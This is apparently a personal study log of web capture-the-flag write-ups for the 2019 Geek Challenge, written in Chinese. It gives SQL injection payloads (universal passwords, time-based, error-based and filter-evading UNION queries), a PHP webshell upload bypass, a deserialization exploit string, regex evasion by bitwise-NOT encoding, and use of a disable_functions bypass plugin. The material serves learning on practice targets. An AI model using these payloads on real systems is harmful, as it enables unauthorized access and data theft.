一些知识
蚁剑绕过disable_function的插件
- 部分题目设置了disable_function,导致蚁剑连接后无法直接拿到shell,通过本插件可以拿到shell(2019极客rce题目中是选择的php7 gc_uaf模式,不知道为啥)
- 软件名:as_bypass_php_disable_functions-master,解压到antSword-2.1.11.1\antSword-2.1.11.1\antData\plugins目录下即可(不使用魔法无法查看蚁剑的插件库,使用魔法发现插件库中已经没有收录此插件了)
万能密码的两种方法:
1' or 1=1#
1' or '1'='1#
< ? ? >符号的过滤
-
文件上传漏洞中对<?等符号进行过滤,无法直接传入php文件(任何php,包括图片马也不行),此时可以考虑传入phtml文件.
-
PHTML(有时叫做PHP)网页是一种包含PHP(一种和JavaScript或Microsoft VBScript类似的语言)脚本的网页和ASP一样,PHP脚本镶嵌在网页的HTML代码之中。
-
使用方法:
GIF89a?(此处是伪造jpg图片的头部,可以绕过后端验证,如果还要绕过前端需要bp抓包)
-
蚁剑连接时直接连接php文件即可
输入长度限制的解决方案
- 之前做过html输入框限制,可以下载html文件,修改限制语句绕过前端验证(注意保护下载的html与其他网页资源的连接关系)
- 后端的输入长度限制语句通常为strcmp函数,可以通过数组(或者字符串)绕过,比如限制传入变量a的长度为3位,可以传入a[]=1234来突破限制
取反运算-正则的一种神仙绕过
-
有些题目拦截了所有的字母和数字
-
php中~运算会将变量的二进制取反,非2进制数据将会变成乱码,将需要传入的命令经过这种处理方式后,就变成了没有数字和字母的乱码,再将乱码base64编码传入,并且在传入时再次取反,即可绕过正则
-
比如正则匹配所有字母和梳子,想要传入?code=cat flag
得到:%9C%9E%8B%DF%99%93%9E%98
-
然后在地址栏传入?code=(~%9C%9E%8B%DF%99%93%9E%98);即可
-
注意:如果函数带有括号,如phpinfo(),不能将phpinfo()整体取反,而是将phpinfo取反为%8F%97%8F%96%91%99%90,再在后面加上(),最后变成?code=(~%8F%97%8F%96%91%99%90)();如果直接对phpinfo()整体取反,程序不会将字符串phpinfo()视为函数执行
wp
1[极客大挑战 2019]EasySQL
- 经过测试,联合查询,报错注入,布尔盲注都不行,只能用时间盲注
- 测试注入位置与闭环方式,先试用户名,admin' or sleep(2)#成功延迟
- 爆破数据库长度,
admin' or if(length(database())=1,sleep(2),null)#
bp爆破结果为4位 - 爆库名
admin' or if(substr(database(),1,1)="a",sleep(2),null)#
- 然而上面的做法全是错的,直接万能密码即可
1' or 1=1#
[极客大挑战 2019]Havefun
- emmmm~看源代码,发现get传一个cat=dog即可
[极客大挑战 2019]Secret file
- 查看源代码发现一个php,打开php发现另一个action.php,但是一打开就会301跳转到end.php,于是直接bp打开action.php,发现提示flag在secr3t.php里
- 打开时一个文件包含的php,绕过过滤(过滤了个寂寞)看不到php内容,考虑使用fliter协议查看,得到flag
[极客大挑战 2019]LoveSQL
-
此题是easysql升级版,万能密码用不了了,尝试报错注入(测试得闭环方式为' 注入点为用户名)
1' and updatexml(1,concat(0x7e,database(),0x7e),1)# 得到库名geek 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="geek"),0x7e),1)# 得到geekuser,l0ve1ysq1 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"),0x7e),1)# 得到id,username,password 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="geekuser"),0x7e),1)# 得到id,username,password 1' and updatexml(1,concat(0x7e,(select group_concat(id) from geekuser),0x7e),1)# 得到1 1' and updatexml(1,concat(0x7e,(select group_concat(username) from geekuser),0x7e),1)# 得到admin 1' and updatexml(1,concat(0x7e,(select group_concat(password) from geekuser),0x7e),1)# 得到3598042720cdb025fef73f9b71c666e 1' and updatexml(1,concat(0x7e,(select group_concat(id) from l0ve1ysq1),0x7e),1)# 得到1,2,3,4,5,6,7,8,9,10,11,12,13,1 1' and updatexml(1,concat(0x7e,(select group_concat(username) from l0ve1ysq1),0x7e),1)# 得到~cl4y,glzjin,Z4cHAr7zCr,0xC4m3l, 1' and updatexml(1,concat(0x7e,(select group_concat(password) from l0ve1ysq1 limit 0,1),0x7e),1)# 得到wo_tai_nan_le,glzjin_wants_a_gi 1' and updatexml(1,concat(0x7e,(select password from l0ve1ysq1 limit 15,1),0x7e),1)# 得到flag
-
提示:group_concat()虽然好用,但有的时候就是莫名其妙用不了
[极客大挑战 2019]Knife
- 蚁剑连接即可
[极客大挑战 2019]Http
- 查看源代码发现有个secrete.php,访问后老套路按提示修改referer,xff和ua即可得到flag
[极客大挑战 2019]Upload
- 查看源代码,找不到过滤的源代码,只能盲猜
- 先随便传一个php文件,被拦截,先试试是不是前端验证,上传jpg,抓包改为php文件,成功绕过,但是webshell中的<?被拦截了,考虑上传phtml文件,这样可以使用< script language='php' >来避免<?php的使用(方法见上)
- 蚁剑连接即可(注意,文件是被上传到upload文件夹下面了而不是网站根目录,这个只能靠猜),flag在根目录flag文件夹下
[极客大挑战 2019]BabySQL
- 先试试注入点和闭环方式,qwe' or sleep(3)#查看回显,结果是sleep,or被过滤了,双写绕过,成功找到闭环方式
- 试试联合查询,先查字段数qwe' oorrder by 1#报错为You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '4#' and password='qweqwe'' at line 1,这里有个坑,这个回显的意思不是说order被过滤,这里是指by被过滤了.双写by,查得有三个字段
- qwe' uniounionn selecselectt 1,2,3#发现显错点为2,3位
- 爆库qwe' uniounionn selecselectt 1,database(),3# 库名geek
- 爆表qwe' uniounionn selecselectt 1,database(),(table_name from infoorrmation_schema.tables wherwheree table_schema='geek' limit 0,1)#又报错,这里又有一个坑,from也被过滤了,而且显示不出来这个被过滤了,最后改为qwe' uniounionn selecselectt 1,database(),table_name frfromom infoorrmation_schema.tables wherwheree table_schema='geek' limit 0,1#得到b4bsql,geekuser
- 爆表qwe' uniounionn selecselectt 1,database(),column_name frfromom infoorrmation_schema.columns wherwheree table_name='b4bsql' limit 0,1#,b4bsql库中有id,username,password,geekuser库中有id,username,password
- 爆数据qwe' uniounionn selecselectt 1.1,database(),id frfromom b4bsql limit 0,1#id里面只有数字
- 爆数据qwe' uniounionn selecselectt 1,database(),group_concat(username) frfromom b4bsql#里面有cl4y,sql,porn,git,Stop,badguy,hacker,flag
- 爆数据qwe' uniounionn selecselectt 1,database(),group_concat(passwoorrd) frfromom b4bsql#得到flag
[极客大挑战 2019]PHP
-
查看源代码,没有提示,网页提到了备份文件,尝试下载www.zip,,下载后发现flag.php,打开得到$flag = 'Syc{dog_dog_dog_dog}'显然,这不是真的flag,查看index.php发现有反序列化语句,考虑是反序列化漏洞,查看class.php,找到反序列化得到flag的方式
-
输出flag需要满足元素的name属性为admin与password属性为100,这些可以通过析构函数传入,但是反序列化处罚wakeup函数会将name属性改为guest,所以反序列化是要注意绕过wakeup(方法见上),并且name属性和password属性都是私有属性,需要手动改变反序列化字符串(方法见上)
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } $a=new Name('admin','100'); echo serialize($a); ?> 得到 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
-
按照上述方法将反序列化字符串改为
?select=O:4:"Name":3:{S:14:"\00Name\00username";s:5:"admin";S:14:"\00Name\00password";s:3:"100";}
即可得到flag
极客大挑战 2019]BuyFlag
- 本题需要详细查看源代码
- 页面提示需要是cuit的学生,源代码提示需要传入密码和money
- cuit的学生验证可以通过bp抓包修改cookie的user=1
- 传入密码是老套路了,php弱相等绕过数字验证
- 传入money显示数字长度过长,并且源代码中没有任何提示,一般判定长度的函数是strcmp函数(绕过方法见上),直接数组绕过,传入money[]=100000000即可得到flag
[极客大挑战 2019]HardSQL(没做出来)
-
什么都用不了,看了大佬的博客才知道过滤了空格
尝试了很多 发现有过滤空格以及一些关键词 选择报错注入 但是存在问题 首先是空格被ban了 可以用括号 () 进行绕过 但是 --+ 注释就不能用了 可以用 %23 也就是 # 来注释 还有 and 被被过滤了 要想连接语句可以用 ^ 或者 or
-
按照大佬的提示,尝试了qwe'^(updatexml(1,concat(0x7e,database(),0x7e),1)))%23,还是不行,才发现这题是get方法!!!
-
?username=qwe'^(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=qweqwe得到库名,剩下的和之前一样辣
-
等号也被ban了,可以用like替换
[极客大挑战 2019]FinalSQL(没做出来)
[极客大挑战 2019]RCE ME
-
用上面提到的方法,取反绕过正则,传入phpinfo(),搜索disable_functions,发现禁用了一堆函数,system函数被禁用可以用assert(),传入一句话木马
"; $c='(eval($_POST[hhz]))'; $d=urlencode(~$c); echo $d; ?>
-
蚁剑连接,发现根目录下有个没内容的flag,和一个readflag,显然,要运行readflaag才能获得flag,但是php禁用了大量的函数,导致蚁剑不能直接shell,需要利用上面提到的蚁剑绕过disable_function的插件,就可以shell(此处模式选择php7 gc_uaf不知道为啥)